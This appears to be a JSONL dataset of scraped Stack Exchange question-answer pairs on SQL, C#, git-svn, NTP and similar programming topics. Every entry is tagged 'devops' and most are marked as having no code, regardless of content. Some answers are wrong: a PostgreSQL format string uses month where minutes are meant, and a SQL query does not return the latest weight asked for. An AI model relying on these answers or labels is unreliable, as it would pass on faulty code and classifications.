{"id": "hf_06428de2a334", "question": "<p>I have an old server with a defunct evaluation version of SQL 2000 on it (from 2006), and two databases which were sitting on it.</p>\n\n<p>For some unknown reason, the LDF log files are missing. Presumed deleted.</p>\n\n<p>I have the mdf files (and in one case an ndf file too) for the databases which used to exist on that server, and I am trying to get them up and running on another SQL 2000 box I have sitting around.</p>\n\n<p><code>sp_attach_db</code> complains that the logfile is missing, and will not attach the database. Attempts to fool it by using a logfile from a database with the same name failed miserably. <code>sp_attach_single_file_db</code> will not work either. The mdf files have obviously not been cleanly detached.</p>\n\n<p>How do I get the databases attached and readable?</p>\n", "question_body": "", "answer": "I found this answer, which worked with my SQL 2000 machines:\nHow to attach a database with a non-cleanly detached MDF file.\nStep 1:\nMake a new database with same name, and which uses the same files as the old one on the new server.\nStep 2:\nStop SQL server, and move your mdf files (and any ndf files you have) over the top of the new ones you just created. Delete any log files.\nStep 3:\nStart SQL and run this to put the DB in emergency mode.\n```\n```\nsp_configure 'allow updates', 1\ngo\nreconfigure with override\nGO\nupdate sysdatabases set status = 32768 where name = 'TestDB'\ngo\nsp_configure 'allow updates', 0\ngo\nreconfigure with override\nGO\n```\n```\nStep 4:\nRestart SQL server and observe that the DB is successfully in emergency mode.\nStep 5:\nRun this undocumented dbcc option to rebuild the log file (in the correct place)\n```\n```\nDBCC REBUILD_LOG(TestDB,'D:\\SQL_Log\\TestDB_Log.LDF')\n```\n```\nStep 6:\nYou might need to reset the status. Even if you don't, it won't do any harm to do so.\n```\n```\nexec sp_resetstatus TestDB\n```\n```\nStep 7:\nStop and start SQL to see your newly restored database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.129686"}
{"id": "hf_e95fcac23bd9", "question": "<p>I'm using Visual Studio 2008 and the built-in installation tools for a C# client application. How can I use this installer to install a font on the client machine (if it's not already there)?</p>\n", "question_body": "", "answer": "Take a look at this article.\nhttp://www.atakala.com/Browser/Item.aspx?user_id=amos&dict_id=83\nThe most important call is the\nAddFontResource\nWin32 API call altough the described sequence of operations must be respected for you to have a working font setup in the system.\nhttp://msdn.microsoft.com/en-us/library/ms534231(VS.85).aspx\nThe AddFontResource function adds the\n  font resource from the specified file\n  to the system font table. The font can\n  subsequently be used for text output\n  by any application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.154297"}
{"id": "hf_91d4d05dd6a4", "question": "<p>It is mentioned on the <a href=\"http://en.wikipedia.org/wiki/Systems_Development_Life_Cycle\" rel=\"noreferrer\">Systems Development Life Cycle page on Wikipedia</a>:</p>\n\n<blockquote>\n  <p>To manage this, a number of system development life cycle (SDLC) models have been created: waterfall, fountain, spiral, build and fix, rapid prototyping, incremental, and synchronize and stabilize.</p>\n</blockquote>\n\n<p>I found a few things on Google, but I felt that they were vague and they just didn't click for me. Perhaps an explanation from someone here might be more clear.</p>\n", "question_body": "", "answer": "Waterfall is a model that enforces control and avoids parallelism; every requirement for a task has to be fulfilled before starting the task. Fountain says that a new task can be started before all requirements are met, because not all requirements are necessary at the start of the task.\nThink of this: Super Mario Game,\nWaterfall: first, design everything, then get hardware done (Hardware Team), then create some test sprites, then code the engine, then create artwork, then music and finish.\nFountain: while the hardware team is doing its job, artwork starts conceptual work, and coding starts some prototyping on preexisting hw. When artists and hw finishes, coders integrate these onto their code and continue 'til finishing the game...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.178688"}
{"id": "hf_002979d5c67d", "question": "<p>Is it possible to pass a function/callback from javascript to a java applet?</p>\n\n<p>For example i have an applet with a button that when pressed it will call the passed js callback</p>\n\n<pre><code>function onCommand() {\n  alert('Button pressed from applet');\n}\napplet.onCommand(onCommand);\n</code></pre>\n", "question_body": "", "answer": "You can use\nJSObject\nto call back into javascript from Java.\nFrom that page:\n```\n```\nimport netscape.javascript.*;\nimport java.applet.*;\nimport java.awt.*;\nclass MyApplet extends Applet {\n     public void init() {\n         JSObject win = JSObject.getWindow(this);\n         JSObject doc = (JSObject) win.getMember(\"document\");\n         JSObject loc = (JSObject) doc.getMember(\"location\");\n\n         String s = (String) loc.getMember(\"href\");  // document.location.href\n         win.call(\"f\", null);                      // Call f() in HTML page\n     }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.219631"}
{"id": "hf_81bec84375ea", "question": "<p>(Oracle) I have to return all records from last 12 months. How to do that in PL/SQL?</p>\n\n<p>EDIT: Sorry, I forgot to explain, I do have a column of DATA type</p>\n", "question_body": "", "answer": "```\n```\nSELECT *\nFROM   table\nWHERE  date_column > SYSDATE - 365\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.255971"}
{"id": "hf_8d1982d25d95", "question": "<p>Looking for one that is fast enough and still graceful with memory. The image is a 24bpp  System.Drawing.Bitmap.</p>\n", "question_body": "", "answer": "If you need an exact number, then you are going to have to loop over all of the pixels.  Probably storing the color and a count in a hash is the best way to go because of the sparseness of the colors.\nUsing the Color.ToArgb() in the hash instead of the color object would probably be a good idea too.\nAlso, if speed is a major concern, you don't want to use a function like GetPixel(x, y) -- instead try to process chunks at a time (row a time).  If you can, get a pointer to the beginning of the image memory and do it unsafe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.340694"}
{"id": "hf_df067cb522f6", "question": "<p>I'm just reading up on SOA and the service registry / UDDI get mentioned regularly. It sounds nice but how is used in reality?</p>\n\n<ul>\n<li>Is the registry meant to decouple a logical service from its' physical implementation (port, url etc)? </li>\n<li>Is the registry meant to be browsed by a human looking for an interesting service to play with?</li>\n<li>Would it be 'wrong' to hard-wire an\napplication\n    to the services it uses?</li>\n</ul>\n", "question_body": "", "answer": "A service registry stores and publishes information about all available services, mainly their interface description and their current URI (ip, port, whatever). This way the application can simply ask the registry for the needed service and will get the details of a fitting service implementation, and can connect.\nUDDI is not the only way to get a registry for you services. But remember that UDDI is intended for webservices only, so it's only usefull if your SOA consists only of webservices.\n1) Correct.\n2) No, it's not really meant for human eyes. Sure, there are tools to browse the directory, but they are mainly for looking if the registry got the services you need etc. The real usage happens directly between your application/service and the registry.\n3) That depends on what you want to accomplish. If you want to build a SOA it think it would be 'wrong' because this contradicts the loose coupling paradigm of SOA.\nIf this is your only service, the only application that uses it and it's likely that the service won't change it's URI there's definitely no problem in hard-wiring it - but then there's propably no need to separate this service :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.365838"}
{"id": "hf_bcaf91cc734e", "question": "<p>I have an application that depends on gpsd and ntpd to accurately set the system time on a linux machine.</p>\n\n<p>gpsd is fed NMEA + PPS</p>\n\n<p>The application is punping ~25MB per second over the network and I think the loading on the system is causing jitter in the time somehow. (loaded PCI express bus causing irregular interrupt latency)</p>\n\n<p>I have another machine that is not loaded at all that I could setup to read the GPS and act as an NTP server for the loaded machine. (the loaded machine would be getting startum 1 ???)</p>\n\n<p><strong>How accurate can I expect the time to be from a stratum 0 NTP server on the same subnet on Ethernet?</strong></p>\n\n<p>I hope this is not too off topic, I am sure sometime someone else will be happy the answer is documented here. ;-)</p>\n", "question_body": "", "answer": "Best info I could find on\nNTP accuracy\n, seems to point at 1-2 ms in a LAN setting:\nNTP v4 with kernel mods to support it, is capable of much better than 1ms accuracy, possibly as good as 1ns.  According to [Dave Mills] article, NTP v3 is accurate to 1-2ms in a LAN and 10s of ms in WAN nets.\nhttp://www.cis.udel.edu/~mills/ntp.html\nOther articles suggest that with an accurate time source, such as a GPS time source, NTP is accurate to 50us, but the links on the Linux kernel support say that accuracy of a few ms are possible.\nhttp://www.atomic-clock.galleon.eu.com/support/ntp-time-server-accuracy.html\nAnother article says that it is dependent on the predictability of network delays (i.e. a low jitter network).\nhttp://www.postel.org/pipermail/end2end-interest/2003-April/002925.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.389103"}
{"id": "hf_a7bc096b0abb", "question": "<p>I have drawn an image in the device context using python and I want to move it smoothly/animate either vertically or horizontally.</p>\n\n<p>What algorithm should I use? Where can I get info for this kind of tasks in python?</p>\n", "question_body": "", "answer": "Once an object is drawn in a device context it stays there. If you want to move it you need to redraw it.\nYou can keep a background that's fixed and only redraw the movable elements each time they move. Basically that's how it's done.\nTo move an object smoothly over a line you have to do something like this (I don't have a program ready, so can only give you an idea):\nchoose the start and end position: point A(x1, y1) and B(x2, y2)\nchoose in how much time the object should change position from A to B (say 10 seconds).\nuse a timer set to a certain interval (say 2 seconds)\ncalculate the delta X and Y that the object should change for each timer interval. In this case dx = (x2-x1)*2/10 and dy = (y2-y1)*2/10\nin the timer callback increment the current object position with dx and dy and redraw the image\nThat would be the algorithm.\nI suggest that you also take a look to\nPyGame\n. Maybe you can use that and it also has some tutorials.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.461379"}
{"id": "hf_b77525d56752", "question": "<p>I'm translating a library written in C++ to C#, and the keyword 'union' exists once. In a struct.</p>\n\n<p>What's the correct way of translating it into C#? And what does it do? It looks something like this;</p>\n\n<pre><code>struct Foo {\n    float bar;\n\n    union {\n        int killroy;\n        float fubar;\n    } as;\n}\n</code></pre>\n", "question_body": "", "answer": "You can use explicit field layouts for that:\n```\n```\n[StructLayout(LayoutKind.Explicit)] \npublic struct SampleUnion\n{\n    [FieldOffset(0)] public float bar;\n    [FieldOffset(4)] public int killroy;\n    [FieldOffset(4)] public float fubar;\n}\n```\n```\nUntested.  The idea is that two variables have the same position in your struct.  You can of course only use one of them.\nMore informations about unions in\nstruct tutorial", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.535292"}
{"id": "hf_72d331a7a69c", "question": "<p>Almost every Python web framework has a simple server that runs a wsgi application and automatically reloads the imported modules every time the source gets changed. I know I can look at the code and see how it's done, but that may take some time and I'm asking just out of curiosity. Does anyone have any idea how this is implemented?</p>\n", "question_body": "", "answer": "As the author of one of the reloader mechanisms (the one in werkzeug) I can tell you that it doesn't work.  What all the reloaders do is forking one time and restarting the child process if a monitor thread notices that one module changed on the file system.\nInline\n```\nreload()\n```\ning doesn't work because references to the reloaded module are not updated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.558807"}
{"id": "hf_81da05d681a4", "question": "<p>In a destructor, is there a way to determine if an exception is currently being processed?</p>\n", "question_body": "", "answer": "You can use std::uncaught_exception(), but it might not do what you think it does: see\nGoTW#47\nfor more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.624541"}
{"id": "hf_84cd6c6bab2a", "question": "<p>Here's a question to expose my lack of experience: I have a method <strong>DoSomething()</strong> which throws an exception if it doesn't manage to do it cleanly. If it fails, I try the less accurate method <strong>DoSomethingApproximately()</strong> several times in the hope that it will find a sufficiently good solution; if this also fails I finally call <strong>DoSomethingInaccurateButGuaranteedToWork()</strong>. All three are methods belonging to this object.</p>\n\n<p>Two questions: first, is this (admittedly ugly) pattern acceptable, or is there a more elegant way?</p>\n\n<p>Second, what is the best way to keep track of how many times I have called <strong>DoSomethingApproximately()</strong>, given that it is likely to throw an exception? I am currently keeping a variable iNoOfAttempts in the object, and nesting try blocks... this is horrible and I am ashamed. </p>\n", "question_body": "", "answer": "Return an error code instead of throwing an exception.\nIf the ways those methods fail do throw exceptions, catch them all in the same method and take appropriate action, like increasing a counter and returning an error code.\n```\n```\nbool result = DoSomething();\n   while (!result && tries < MAX_TRIES) {\n       result = DoSomethingApproximately(); //This will increment tries\n       if (tries > THRESHOLD) {\n           result = DoSomethingThatAlwaysWorks();\n       }\n   }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.671642"}
{"id": "hf_229f1ea37698", "question": "<p>I have two tables, Users and DoctorVisit</p>\n\n<p>User\n- UserID\n- Name</p>\n\n<p>DoctorsVisit\n- UserID\n- Weight\n- Date </p>\n\n<p>The doctorVisit table contains all the visits a particular user did to the doctor.\nThe user's weight is recorded per visit.</p>\n\n<p>Query:  Sum up all the Users weight, using the last doctor's visit's numbers. (then divide by number of users to get the average weight)</p>\n\n<p>Note: some users may have not visited the doctor at all, while others may have visited many times.</p>\n\n<p>I need the average weight of all users, but using the latest weight.</p>\n\n<p><b>Update</b></p>\n\n<p>I want the average weight across all users.</p>\n", "question_body": "", "answer": "This should get you the average weight per user if they have visited:\n```\n```\nselect user.name, temp.AvgWeight\nfrom user left outer join (select userid, avg(weight)\n            from doctorsvisit\n            group by userid) temp\n    on user.userid = temp.userid\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.720617"}
{"id": "hf_d76c5575d6d7", "question": "<p>I'm developing a C# assembly which is to be called via COM from a Delphi 7 (iow, native win32, not .net) application.</p>\n\n<p>So far, it seems to work. I've exported a TLB file, imported that into my Delphi project, and I can create my C# object and call its functions.</p>\n\n<p>So that's great, but soon I'm going to <strong>really</strong> want to use Visual Studio to debug the C# code while it's running. Set breakpoints, step through code, all that stuff.</p>\n\n<p>I've tried breaking in the Delphi code after the COM object is created, then looking for a process for VS to attach to, but I can't find one.</p>\n\n<p>Is there a way to set VS2008 up to do this? I'd prefer to just be able to hit f5 and have VS start the Delphi executable, wait for the C# code to be called, and then attach itself to it.. But I could live with manually attaching to a process, I suppose.</p>\n\n<p>Just please don't tell me I have to make do with MessageBox.Show etc.</p>\n", "question_body": "", "answer": "Place the following in the method you wish to debug:\n```\n```\n#if DEBUG\n    if (!System.Diagnostics.Debugger.IsAttached)\n        Debugger.Launch();\n#endif\n```\n```\nWhen you want to debug, build a debug version and use that in your application.  When this code runs, a dialog pops up asking if you want to attach a debugger.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.756817"}
{"id": "hf_99fdc15a763a", "question": "<p>I use the right button>Refactor>Encapsultate field to have my accessor every time. The problem is when I create new class, I can have more than 10 attributes and it's long to do 1 by 1 every accessor. Is there a faster way to create them?</p>\n\n<p>Thank you for your time.</p>\n", "question_body": "", "answer": "Looks like the refactoring built into studio only supports a single field at a time for the Encapsulate Field refactoring.  Refactor Pro! (\nhttp://www.devexpress.com/Products/Visual_Studio_Add-in/Refactoring/\n) or Resharper (\nhttp://www.jetbrains.com/resharper/index.html\n)  both have support for encapsulating multiple fields.\nYou may be able to get fancy and put together a macro that would allow you to select multiple fields and then encapsulate each one, but VS macros are not my ball of wax.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.815080"}
{"id": "hf_2336f32f62c5", "question": "<p>we are using git-svn to manage branches of an SVN repo. We are facing the following problem: after a number of commits by user X in the branch, user Y would like to use git-svn to merge the changes in branch to trunk. The problem we're seeing is that the commit messages for all the individual merge operations look as if they were made by user Y, whereas the actual change in branch was made by user X.</p>\n\n<p>Is there a way to indicate to git-svn that when merging, use the original commit message/author for a given change rather than the person doing the merge?</p>\n", "question_body": "", "answer": "The git-svn man page recommends that you\ndon't use merge\n. \"\"It is recommended that you run git-svn fetch and rebase (not pull or merge)\"\". Having said that, you can do what you like :-)\nThere are 2 issues here. First is that svn only stores the\ncommiter\n, not the author of a patch as git does. So when Y commits the merges to trunk, svn only records her name, even though the patches were authored by X. This is an\namazing\nfeature of git, stunningly simple yet vital for open source projects were attributing changes to the author can avoid legal problems down the road.\nSecondly, git doesn't seem to use the relatively new svn merge features. This may be a temporary thing, as git is actively developed and new features are added all the time. But for now, it doesn't use them.\nI've just tried with git 1.6.0.2 and it \"loses\" information compared to doing the same operation with svn merge. In svn 1.5, a new feature was added to the logging and annotation methods, so that svn log -g on the trunk would output something like this for a merge:\n```\n```\n------------------------------------------------------------------------\nr5 | Y | 2008-09-24 15:17:12 +0200 (Wed, 24 Sep 2008) | 1 line\n\nMerged release-1.0 into trunk\n------------------------------------------------------------------------\nr4 | X | 2008-09-24 15:16:13 +0200 (Wed, 24 Sep 2008) | 1 line\nMerged via: r5\n\nReturn 1\n------------------------------------------------------------------------\nr3 | X | 2008-09-24 15:15:48 +0200 (Wed, 24 Sep 2008) | 2 lines\nMerged via: r5\n\nCreate a branch\n```\n```\nHere, Y commits r5, which incorporates the changes from X on the branch into the trunk. The format of the log is not really that great, but it comes into its own on svn blame -g:\n```\n```\n2          Y int main()\n       2          Y {\nG      4          X   return 1;\n       2          Y }\n```\n```\nHere assuming Y only commits to trunk, we can see that one line was editted by X (on the branch) and merged.\nSo, if you are using svn 1.5.2, you are possibly better of merging with the real svn client for now. Although you would lose merge info in git, it is usually clever enough not to complain.\nUpdate: I've just tried this with git 1.7.1 to see if there has been any advances in the interim. The bad news is that merge within git still does not populate the svn:mergeinfo values, so\n```\ngit merge\n```\nfollowed by\n```\ngit svn dcommit\n```\nwill not set svn:mergeinfo and you will lose merge information if the Subversion repository is the canonical source, which it probably is. The good news is that\n```\ngit svn clone\n```\ndoes read in svn:mergeinfo properties to construct a better merge history, so if you use\n```\nsvn merge\n```\ncorrectly (it requires merging full branches) then the git clone will look correct to git users.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.838277"}
{"id": "hf_eeee373ab44d", "question": "<p>The question is pretty self-explanatory. I'm looking for a PostgreSQL equivalent to the <a href=\"http://www.sqlite.org/cvstrac/wiki?p=DateAndTimeFunctions\" rel=\"nofollow noreferrer\">SQLite datetime function</a>.</p>\n", "question_body": "", "answer": "```\n```\npostgres=# select to_char(now(),'YYYY-mm-dd HH:MM:ss');\n       to_char\n---------------------\n 2008-09-24 02:09:20\n(1 row)\n\npostgres=# select to_char(now(),'YYYY-mm-dd HH24:MM:ss');\n       to_char\n---------------------\n 2008-09-24 14:09:20\n(1 row)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.862286"}
{"id": "hf_9c24dc8a05cd", "question": "<p>What I'm looking for is a simple timer queue possibly with an external timing source and a poll method (in this way it will be multi-platform). Each enqueued message could be an object implementing a simple interface with a <code>virtual onTimer()</code> member function.</p>\n", "question_body": "", "answer": "There is a nice article in CodeProject,\nhere\n, that describes the various timers available in Windows, and has chapters titled \"Queue timers\" and \"Make your own timer\".\nFor platform independence, you'd have to make implementations for the different platforms inside\n```\n#ifdef -- #endif\n```\npairs. I can see nothing less ugly than that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:08.942219"}
{"id": "hf_360aea711971", "question": "<p>When writing j2me applications for cellphones, using <code>System.out.println()</code> prints on the console if using an emulator. However, when the code is deployed on a cellphone, where does the console output go?</p>\n\n<p>If it is impossible to see this in the untethered cellphone, is there a way to see it if the cellphone is still connected to the deploying PC [via USB] ?</p>\n", "question_body": "", "answer": "I found\nthis question\nwith answers on j2me logging. Maybe one can try this if nothing else works. A simple way to access\n```\nSystem.out.println()\n```\nwould be nice though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.026093"}
{"id": "hf_90643de7a00e", "question": "<p>I need to compress portions of our application's network traffic for performance.  I presume this means I need to stay away from some of the newer algorithms like bzip2, which I think I have heard is slower.</p>\n", "question_body": "", "answer": "You can use\nDeflater\n/\nInflater\nwhich is built into the JDK.  There are also GZIPInputStream and GZIPOutputStream, but it really depends on your exact use.\nEdit:\nReading further comments it looks like the network taffic is HTTP.  Depending on the server, it probably has support for compression (especially with deflate/gzip).  The problem then becomes on the client.  If the client is a browser it probably already supports it.  If your client is a webservices client or an\nhttp client\ncheck the documentation for that package to see if it is supported.\nIt looks like jakarta-commons httpclient may require you to manually do the compression.  To enable this on the client side you will need to do something like\n```\n```\n.addRequestHeader(\"Accept-Encoding\",\"gzip,deflate\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.048078"}
{"id": "hf_539bda003558", "question": "<p>Could anyone recommend to me a good online guide to PowerPoint VBA? Also, does anyone has advice on how to record a macro in PowerPoint? </p>\n", "question_body": "", "answer": "To record a powerpoint macro:\nIn the menu bar, click on Tools\nMouse over Macro >  and the submenu will be displayed\nClick the Record button - a new toolbar will be displayed\nDo your thing\nClick the stop button on the new macro toolbar\nClick on Tools->Macro->Macros.  Find the macro you just recorded and click the Edit button.  That will show you what was recorded.  Make your modifications and click the triangular run button (or push F5) to run your code.\nAs far as an online guide, I usually think of a question and use\nGoogle\nor ask a question here on StackOverflow.com.  I've been able to answer most of my questions that way, I haven't found a particular main resource for all things Powerpoint VBA.\nAlso, you can find answers that can help you by looking into VBA articles for other MS Office products - a lot of things that are not Powerpoint-specific (general VBA) will be the same as for the other products.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.067295"}
{"id": "hf_7a1c55203d02", "question": "<p>Why is it not a good idea to use SOAP for communicating with the front end? For example, a web browser using JavaScript.</p>\n", "question_body": "", "answer": "Because SOAP reinvents a lot of the HTTP wheel in its quest for protocol-independence. What's the point if you\nknow\nyou're going to serve the response over HTTP anyway (since your client is a web browser)?\nUPDATE: I second gizmo's (implied) suggestion of JSON.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.127320"}
{"id": "hf_e1cf6df8bb7a", "question": "<p>In Internet Explorer I can use the clipboardData object to access the clipboard. How can I do that in FireFox, Safari and/or Chrome?</p>\n", "question_body": "", "answer": "For security reasons, Firefox doesn't allow you to place text on the clipboard. However, there is a workaround available using Flash.\n```\n```\nfunction copyIntoClipboard(text) {\n\n    var flashId = 'flashId-HKxmj5';\n\n    /* Replace this with your clipboard.swf location */\n    var clipboardSWF = 'http://appengine.bravo9.com/copy-into-clipboard/clipboard.swf';\n\n    if(!document.getElementById(flashId)) {\n        var div = document.createElement('div');\n        div.id = flashId;\n        document.body.appendChild(div);\n    }\n    document.getElementById(flashId).innerHTML = '';\n    var content = '<embed src=\"' +\n        clipboardSWF +\n        '\" FlashVars=\"clipboard=' + encodeURIComponent(text) +\n        '\" width=\"0\" height=\"0\" type=\"application/x-shockwave-flash\"></embed>';\n    document.getElementById(flashId).innerHTML = content;\n}\n```\n```\nThe only disadvantage is that this requires Flash to be enabled.\nThe source is currently dead:\nhttp://bravo9.com/journal/copying-text-into-the-clipboard-with-javascript-in-firefox-safari-ie-opera-292559a2-cc6c-4ebf-9724-d23e8bc5ad8a/\n(and so is its\nGoogle cache\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.151952"}
{"id": "hf_e520a030f92d", "question": "<p>We have a production machine and are trying to slowly introduce some 3.0 and up features on our web application. 3.5 is installed but I would like to upgrade to SP1, I would just like to know if it requires a restart of the machine in the end so I can schedule some down time.</p>\n\n<p>Thanks!</p>\n\n<p>EDIT: so it did require the restart, thanks guys for the answer...but the hosting company didn't give us the rights to do so...LOL</p>\n", "question_body": "", "answer": "He he.  I installed it on about 4 machines...two required a restart, two did not.  The configuration was similar between them, so there was no obvious way to determine why some needed a restart and others didn't.  The best theory I have currently is that the ones which needed restarts tended to be the ones which were more active (they were all running ASP.Net sites), so it is possible that the framework bits had not yet been loaded by IIS for the ones which did not need a restart.\nTo be safe, plan on restarting and schedule the update accordingly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.201393"}
{"id": "hf_175dca411d21", "question": "<p>In ASP.NET, if I databind a gridview with a array of objects lets say , how can I retrieve and use foo(index) when the user selects the row?</p>\n\n<p>i.e.</p>\n\n<pre><code>dim fooArr() as foo;\ngv1.datasource =  fooArr;\ngv1.databind();\n</code></pre>\n\n<p>On Row Select</p>\n\n<pre><code>Private Sub gv1_RowCommand(ByVal sender As Object, ByVal e As System.Web.UI.WebControls.GridViewCommandEventArgs) Handles gv1.RowCommand\n\n        If e.CommandName = \"Select\" Then\n            'get and use foo(index)    \n        End If\n    End Sub\n</code></pre>\n", "question_body": "", "answer": "in theory the index of the row, should be the index of foo (maybe +1 for header row, you'll need to test). so, you should be able to do something along these lines\n```\n```\ndim x as object = foo(e.row.selectedIndex)\n```\n```\nThe other alternative is to find a way to databind the index to the commandArgument attribute of the button.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.225762"}
{"id": "hf_f91e746bb9ad", "question": "<p>I was wondering if there was an easy way in SQL to convert an integer to its binary representation and then store it as a varchar.</p>\n\n<p>For example 5 would be converted to \"101\" and stored as a varchar.</p>\n", "question_body": "", "answer": "Following could be coded into a function.  You would need to trim off leading zeros to meet requirements of your question.\n```\n```\ndeclare @intvalue int\nset @intvalue=5\n\ndeclare @vsresult varchar(64)\ndeclare @inti int\nselect @inti = 64, @vsresult = ''\nwhile @inti>0\n  begin\n    select @vsresult=convert(char(1), @intvalue % 2)+@vsresult\n    select @intvalue = convert(int, (@intvalue / 2)), @inti=@inti-1\n  end\nselect @vsresult\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:09.284643"}
